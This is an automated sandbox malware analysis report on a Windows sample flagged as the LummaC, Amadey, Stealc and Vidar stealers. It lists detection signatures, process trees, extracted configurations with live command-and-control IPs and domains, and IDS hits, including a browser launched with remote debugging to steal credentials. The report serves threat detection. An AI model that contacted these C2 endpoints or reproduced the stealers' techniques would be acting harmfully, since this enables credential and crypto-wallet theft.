Edit tour

Windows Analysis Report
R2CgZG545D.exe

Overview

General Information

Sample name:	R2CgZG545D.exe renamed because original name is a hash value
Original sample name:	e48ca69b3f439cf66679ffe60efd564f.exe
Analysis ID:	1578882
MD5:	e48ca69b3f439cf66679ffe60efd564f
SHA1:	fb466d0297ee39819d14dffb99c69bab52dcef4b
SHA256:	c9b2322743d3daf2d975110637d09f00bf2481eae2a447f718cf53696eac35c4
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

R2CgZG545D.exe (PID: 5044 cmdline: "C:\Users\user\Desktop\R2CgZG545D.exe" MD5: E48CA69B3F439CF66679FFE60EFD564F)

chrome.exe (PID: 7108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2092,i,5216794455823699490,3193529154071514204,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8096 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2224,i,14321603790260887012,4088667357503153819,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 2968 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EHJKKKFIIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EHJKKKFIIJ.exe (PID: 7224 cmdline: "C:\Users\user\Documents\EHJKKKFIIJ.exe" MD5: 9D38889192A887E1128EC41DD417FB6D)

skotes.exe (PID: 6496 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9D38889192A887E1128EC41DD417FB6D)

msedge.exe (PID: 8124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1940,i,17350180843755369966,13513433149912456994,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6392 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9D38889192A887E1128EC41DD417FB6D)

skotes.exe (PID: 7912 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9D38889192A887E1128EC41DD417FB6D)

py8tmzb.exe (PID: 7496 cmdline: "C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe" MD5: FC44872D02DB04A880714843034469A0)

conhost.exe (PID: 7444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 5136 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "crosshuaht.lat", "sweepyribs.lat", "energyaffai.lat", "aspecteirs.lat", "sustainskelet.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat"], "Build id": "yau6Na--577903631"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000010.00000002.2708866072.0000000000181000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2077795159.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2708693110.0000000000181000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2640384429.0000000000851000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3321099664.0000000000181000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3106468001.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2625848602.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2668461623.00000000047D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2666945219.0000000000881000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2668310067.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: R2CgZG545D.exe PID: 5044	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: R2CgZG545D.exe PID: 5044	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: R2CgZG545D.exe PID: 5044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: R2CgZG545D.exe PID: 5044	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.EHJKKKFIIJ.exe.880000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.180000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\R2CgZG545D.exe", ParentImage: C:\Users\user\Desktop\R2CgZG545D.exe, ParentProcessId: 5044, ParentProcessName: R2CgZG545D.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7108, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:14.567062+0100	2028371	3	Unknown Traffic	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:16.857025+0100	2028371	3	Unknown Traffic	192.168.2.5	49964	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:15.621764+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49957	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:15.621764+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49957	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:14.567062+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49957	172.67.197.170	443	TCP
2024-12-20T16:08:16.857025+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.5	49964	172.67.197.170	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:15.670526+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49958	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:13.181994+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.5	60378	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:13.039410+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	64239	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:12.891782+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	52308	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:23.375976+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:23.254080+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:23.701817+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:25.149612+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:23.831453+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:22.812909+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:11.656922+0100	2800029	1	Attempted User Privilege Gain	31.41.244.11	80	192.168.2.5	49946	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:05.827788+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49935	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:14.322005+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49942	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:08:10.559905+0100	2803305	3	Unknown Traffic	192.168.2.5	49946	31.41.244.11	80	TCP
2024-12-20T16:08:17.140841+0100	2803305	3	Unknown Traffic	192.168.2.5	49965	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:06:25.880092+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-20T16:06:52.643304+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:54.555242+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:55.839142+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:06:56.992290+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:00.568194+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:01.618166+0100	2803304	3	Unknown Traffic	192.168.2.5	49769	185.215.113.206	80	TCP
2024-12-20T16:07:07.745529+0100	2803304	3	Unknown Traffic	192.168.2.5	49806	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: R2CgZG545D.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000010.00000002.2708866072.0000000000181000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "crosshuaht.lat", "sweepyribs.lat", "energyaffai.lat", "aspecteirs.lat", "sustainskelet.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat"], "Build id": "yau6Na--577903631"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: R2CgZG545D.exe	Virustotal: Detection: 54%			Perma Link
Source: R2CgZG545D.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\py8tmzb[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\gdi32.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: R2CgZG545D.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: rapeflowwj.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: crosshuaht.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: sustainskelet.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: aspecteirs.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: energyaffai.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: necklacebudi.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: discokeyus.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: grannyejh.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: sweepyribs.lat
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: - Screen Resoluton:
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: Workgroup: -
Source: 20.2.aspnet_regiis.exe.2950000.0.unpack	String decryptor: yau6Na--577903631

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C65A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C65A9A0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C654440 PK11_PrivDecrypt,	0_2_6C654440
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C624420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C624420
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6544C0 PK11_PubEncrypt,	0_2_6C6544C0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6A25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6A25B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C638670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C638670
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C65A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C65A650
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C63E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C63E6E0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C67A730
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C680180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C680180
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6543B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6543B0
